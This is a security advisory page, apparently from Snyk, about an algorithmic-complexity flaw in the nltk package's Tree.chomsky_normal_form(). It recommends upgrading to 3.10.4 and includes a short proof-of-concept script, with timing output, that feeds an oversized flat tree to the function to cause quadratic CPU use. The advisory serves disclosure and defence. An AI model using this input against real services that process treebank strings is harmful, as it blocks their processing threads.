Inefficient Algorithmic Complexity Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.58% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549717
  • published14 Nov 2026
  • disclosed14 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 14 Nov 2026

NewCVE-2026-126298  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via Tree.chomsky_normal_form() in the right-factor binarization branch, which uses list.pop(0) to consume children from the front of a working list. Because list.pop(0) is O(N) - shifting every remaining element - and is called N-2 times over a node with N children, binarizing a single wide flat node costs O(N^2) CPU time. An attacker who can supply a treebank string parsed with Tree.fromstring and then normalized with Tree.chomsky_normal_form() can force tens of seconds of single-threaded CPU consumption with roughly 1.5 MB of input, blocking the processing thread.

PoC

Environment: nltk 3.10.3, CPython. Drive the public transform on a wide flat tree.
import time
from nltk.tree import Tree

for N in (80000, 160000, 320000):
    s = "(S " + "(A a)" * N + ")"
    t = Tree.fromstring(s)
    start = time.perf_counter()
    t.chomsky_normal_form()          # default factor="right"
    print("right", N, round(time.perf_counter() - start, 3), "s")
right (default):  N=80000 1.972s | N=160000 5.004s (2.54x) | N=320000 14.518s (2.90x)   -> super-linear
left  (control):  N=80000 1.399s | N=160000 2.731s (1.95x) | N=320000  5.379s (1.97x)   -> linear

Note: The PoC states it runs on nltk 3.10.3 and CPython, driving the public transform on a wide flat tree.

CVSS Base Scores

version 4.0
version 3.1